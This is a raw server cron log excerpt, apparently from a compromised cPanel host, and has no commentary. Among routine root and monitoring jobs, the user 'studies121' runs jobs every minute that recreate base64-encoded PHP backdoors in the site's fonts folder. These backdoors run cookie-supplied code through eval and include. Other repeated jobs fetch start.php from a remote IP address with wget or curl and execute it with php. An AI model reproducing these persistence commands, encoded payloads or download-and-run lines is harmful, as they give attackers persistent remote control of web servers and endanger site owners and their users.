Sep 10 08:47:01 ip-184-168-122-23 CROND[5211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:47:01 ip-184-168-122-23 CROND[5213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:47:01 ip-184-168-122-23 CROND[5215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:47:01 ip-184-168-122-23 CROND[5216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:48:01 ip-184-168-122-23 CROND[5325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:48:01 ip-184-168-122-23 CROND[5328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:48:01 ip-184-168-122-23 CROND[5331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:48:01 ip-184-168-122-23 CROND[5329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:48:01 ip-184-168-122-23 CROND[5330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:49:01 ip-184-168-122-23 CROND[5433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:49:01 ip-184-168-122-23 CROND[5435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:49:01 ip-184-168-122-23 CROND[5437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:49:01 ip-184-168-122-23 CROND[5436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:50:02 ip-184-168-122-23 CROND[5552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:50:02 ip-184-168-122-23 CROND[5555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:50:02 ip-184-168-122-23 CROND[5557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:50:02 ip-184-168-122-23 CROND[5558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:50:02 ip-184-168-122-23 CROND[5563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:50:02 ip-184-168-122-23 CROND[5561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:50:02 ip-184-168-122-23 CROND[5566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:50:02 ip-184-168-122-23 CROND[5564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:50:02 ip-184-168-122-23 CROND[5565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:51:01 ip-184-168-122-23 CROND[5685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:51:01 ip-184-168-122-23 CROND[5688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:51:01 ip-184-168-122-23 CROND[5689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:51:01 ip-184-168-122-23 CROND[5687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:52:01 ip-184-168-122-23 CROND[5909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:52:01 ip-184-168-122-23 CROND[5912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:52:01 ip-184-168-122-23 CROND[5911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:52:01 ip-184-168-122-23 CROND[5913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:52:01 ip-184-168-122-23 CROND[5914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:53:01 ip-184-168-122-23 CROND[6034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:53:01 ip-184-168-122-23 CROND[6035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:53:01 ip-184-168-122-23 CROND[6038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:53:01 ip-184-168-122-23 CROND[6037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:54:01 ip-184-168-122-23 CROND[6136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:54:01 ip-184-168-122-23 CROND[6137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:54:01 ip-184-168-122-23 CROND[6140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:54:01 ip-184-168-122-23 CROND[6138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:54:01 ip-184-168-122-23 CROND[6141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:55:02 ip-184-168-122-23 CROND[6304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:55:02 ip-184-168-122-23 CROND[6308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:55:02 ip-184-168-122-23 CROND[6310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:55:02 ip-184-168-122-23 CROND[6312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:55:02 ip-184-168-122-23 CROND[6313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:55:02 ip-184-168-122-23 CROND[6314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:56:01 ip-184-168-122-23 CROND[6438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:56:01 ip-184-168-122-23 CROND[6440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:56:01 ip-184-168-122-23 CROND[6441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:56:01 ip-184-168-122-23 CROND[6443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:56:01 ip-184-168-122-23 CROND[6442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:57:01 ip-184-168-122-23 CROND[6621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:57:01 ip-184-168-122-23 CROND[6623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:57:01 ip-184-168-122-23 CROND[6626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:57:01 ip-184-168-122-23 CROND[6624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:58:01 ip-184-168-122-23 CROND[6725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:58:01 ip-184-168-122-23 CROND[6726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:58:01 ip-184-168-122-23 CROND[6730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:58:01 ip-184-168-122-23 CROND[6729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:58:01 ip-184-168-122-23 CROND[6733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:59:01 ip-184-168-122-23 CROND[6838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:59:01 ip-184-168-122-23 CROND[6840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
